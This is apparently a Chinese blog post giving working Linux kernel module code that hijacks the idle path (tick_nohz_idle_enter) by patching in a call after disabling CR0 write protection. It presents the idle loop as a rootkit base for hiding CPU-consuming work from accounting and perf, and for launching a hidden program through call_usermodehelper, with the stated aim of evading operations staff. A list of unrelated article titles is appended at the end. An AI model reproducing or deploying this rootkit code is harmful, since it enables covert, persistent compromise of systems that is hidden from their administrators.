前面谈过如何隐藏一个进程,我说过,隐藏procfs接口那无异于掩耳盗铃,正确的做法应该是将task_struct从任何链表中摘除,仅仅保留于run queue。

但CPU利用率会暴露你隐藏的进程…

于是hook掉CPU记账接口…

但是…

于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占优势。

其实,还有一个好办法,即劫持idle,这样我们甚至可以不用管CPU记账程序, idle多当然好啊,运维们不正期望idle多吗?idle多没人会去perf的吧…

测试代码如下:

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>char *stub;
char *addr = NULL;
static unsigned long base = 0;void test_stub1(void)
{unsigned long i;local_bh_disable(); // 防止期间时钟中断记账到sys或者si。local_irq_disable();// 开始我们的计算任务。for (i = 0; i < 0xfffffff; i++) {base += jiffies;}if (jiffies % 0xf == 0) {printk("base is :%llx\n", base);}local_irq_enable();local_bh_enable();}#define FTRACE_SIZE    5
#define POKE_OFFSET    0
#define POKE_LENGTH    5unsigned char *idle;unsigned long cr0;
static int __init hotfix_init(void)
{unsigned char e8_call[POKE_LENGTH];s32 offset, i;idle = (void *)kallsyms_lookup_name("tick_nohz_idle_enter");stub = (void *)test_stub1;addr = (void *)idle;offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);e8_call[0] = 0xe8;(*(s32 *)(&e8_call[1])) = offset;for (i = 5; i < POKE_LENGTH; i++) {e8_call[i] = 0x90;}cr0 = read_cr0();clear_bit(16, &cr0);memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH);set_bit(16, &cr0);write_cr0(cr0);return 0;
}static void __exit hotfix_exit(void)
{cr0 = read_cr0();clear_bit(16, &cr0);memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH);set_bit(16, &cr0);write_cr0(cr0);
}module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

需要注意的是,计算任务不能睡眠,不能schedule,不能太太太繁重,以免被perf发现。其实,如果机器在机房,电源风扇的轰鸣是可以掩盖CPU风扇的,不过液冷的话就要另想办法了。

我们看下效果吧。我用虚拟机测试,下面左边是宿主机,右边是虚拟机,没有劫持idle时的CPU利用率如下:

下面是劫持后的:

虽然右边虚拟机的CPU依然几乎全部都是idle,和未劫持时没有差别,然而宿主机的能耗骗不了人。笔记本的风扇噪声在加大,以至于我不得不用Macs Fan Control将风扇转速调低,然而铝壳正在变得发烫。

哪个是真的,哪个是假的,假亦真时真亦假…

我倒是觉得,idle作为Rootkit的根据地还是非常不错,如果你想执行一些 真正的任务 ,那就call usermodehelper呗,只要确保这个helper完成任务及时退出就行。

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>char *stub;
char *addr = NULL;
static unsigned long base = 0;
static unsigned long last = 0;void test_stub1(void)
{unsigned long i;
#if 0local_bh_disable();local_irq_disable();for (i = 0; i < 0xfffffff; i++) {base += jiffies;}if (jiffies % 0xf == 0) {printk("base is :%llx\n", base);}local_irq_enable();local_bh_enable();
#endif//if (jiffies % 1000 == 0 && last != jiffies) {if (jiffies - last >= 1000) {// /root/run 程序一定不要太犹豫,做完就走。且该程序要以某种方式使readdir无法显示。call_usermodehelper("/root/run", NULL, NULL, 0);last = jiffies;}
}#define FTRACE_SIZE    5
#define POKE_OFFSET    0
#define POKE_LENGTH    5unsigned char *idle;unsigned long cr0;
static int __init hotfix_init(void)
{unsigned char e8_call[POKE_LENGTH];s32 offset, i;idle = (void *)kallsyms_lookup_name("tick_nohz_idle_enter");stub = (void *)test_stub1;addr = (void *)idle;offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);e8_call[0] = 0xe8;(*(s32 *)(&e8_call[1])) = offset;for (i = 5; i < POKE_LENGTH; i++) {e8_call[i] = 0x90;}cr0 = read_cr0();clear_bit(16, &cr0);memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH);set_bit(16, &cr0);write_cr0(cr0);return 0;
}static void __exit hotfix_exit(void)
{cr0 = read_cr0();clear_bit(16, &cr0);memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH);set_bit(16, &cr0);write_cr0(cr0);
}module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

run的代码如下:

#include <fcntl.h>
int main(int argc, char **argv)
{int fd = open("/dev/pts/0", O_RDWR);write(fd, "aaaaaaaaa\n", 10);
}

效果就是在系统压力不大时,每隔大约1秒中在/dev/pts/0终端打印一串a。

如果run程序执行时间在作为human being的运维人员和经理的视角转瞬即逝的话,同时run又是一个隐藏文件的话,试问如何发现谁打出的a呢?

运维和经理打字敲回车以及他们的蛋白质眼睛无法分辨200ms以下的事件。

正如所料,接下来,我要对perf动手了。


浙江温州皮鞋湿,下雨进水不会胖。

劫持Linux idle进程做点自己的计算任务相关推荐

  1. 动静结合学内核:linux idle进程和init进程浅析

    刘柳 + <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 + titer1@qq.com 退休的贵族进程 ...

  2. Linux下0号进程的前世(init_task进程)今生(idle进程)----Linux进程的管理与调度(五)【转】...

    前言 Linux下有3个特殊的进程,idle进程(PID = 0), init进程(PID = 1)和kthreadd(PID = 2) idle进程由系统自动创建, 运行在内核态 idle进程其pi ...

  3. Linux 2.6 劫持系统调用 隐藏进程

    Linux 2.6 劫持系统调用 隐藏进程 http://hi.baidu.com/widebright/item/e64b1c09b8a557dcdce5b060 很久以前写过一个在Windows系 ...

  4. linux的 0号进程(idle进程) 和 1 号进程(init进程)

    Linux下有3个特殊的进程,idle进程(PID = 0), init进程(PID = 1)和kthreadd(PID = 2) idle进程由系统自动创建, 运行在内核态 idle进程其pid=0 ...

  5. linux ps 进程组,linux进程管理(2)---进程的组织结构

    一.目的 linux为了不同的进程管理目的,使用了不同的方法组织进程之间的关系,为了体现父子关系,使用了"树形"图:为了对同一信号量统一处理,使用了进程组:为了快速查找某个进程,使 ...

  6. linux下查看进程的线程数,linux查看进程的线程数

    top -H -p $PID  #查看对应进程的那个线程占用CPU过高 1.top -H 手册中说:-H : Threads toggle 加上这个选项启动top,top一行显示一个线程.否则,它一行 ...

  7. Linux idle基础

    2019独角兽企业重金招聘Python工程师标准>>> Linux系统越来越受到电脑用户的欢迎,于是很多人开始学习Linux时,学习linux,你可能会遇到linux内核问题,这里将 ...

  8. linux init进程原理,Linux 系统下 init 进程的前世今生

    原标题:Linux 系统下 init 进程的前世今生 Linux系统中的 init 进程 (pid=1) 是除了 idle 进程 (pid=0,也就是 init_task) 之外另一个比较特殊的进程, ...

  9. Linux守护进程编写

    Linux守护进程编写 环境:VMware 15 + ubuntu 16 内核:4.19 护进程的特点 后台服务程序,随系统启动而启动. 很多系统服务通过守护进程完成. 守护进程的名字往往以字母'd' ...

最新文章

  1. [mmu/cache]-MMU的地址翻译(Address translation)指令介绍
  2. 【中级软考】什么是二维数组元素的偏移量?(就是把数组ravel[拉平]后存到内存中的元素位置)
  3. ALGO-117_蓝桥杯_算法训练_友好数
  4. SAP Spartacus PagelayoutComponent里的template
  5. 中国电信:全业务IP网络的安全运营
  6. mysql 视图锁_Oracle数据库的锁类型及相关视图
  7. 毕业论文的编辑与排版大学计算机,大学毕业论文排版技巧
  8. Winxp 中文版 使用 IDM,补丁
  9. 用python实现黑客帝国数字雨效果
  10. 黑客攻击手段揭秘(转)
  11. basler相机的类
  12. html与css编程证书,利用CSS布局做一个简单的荣誉证书(代码示例)
  13. linux: ubuntu 21.04 安装搜狗拼音输入法
  14. 计算机组成原理常见题(四)
  15. 【投资趋势】中国未来最值得投资的十大行业
  16. CAD-VB多段线、波浪线、射线、构造线
  17. AUTOCAD学习笔记6:单相桥式整流电路的绘制
  18. 单模SIW的设计步骤
  19. 【机器学习】集成学习Stacking
  20. 【有利可图网】绿色好心情!绿色系配色方案!

热门文章

  1. 中标麒麟安装达梦数据库安装
  2. 智能手表,不再只是手机品牌的“附属品”
  3. 物联网SIM卡和SIM卡真的不是一回事
  4. CSS实战笔记(十二) 图片等比例缩放
  5. ServU配置网络盘
  6. xcode 快速生成代码块
  7. Linux 安装 VSCode 桌面快捷方式创建
  8. html5制作奥运五环,第一讲:使用html5——canvas绘制奥运五环
  9. PaddleOCR学习(一)PaddleOCR安装与测试
  10. 网页电子签章页面一直转,跳不出来。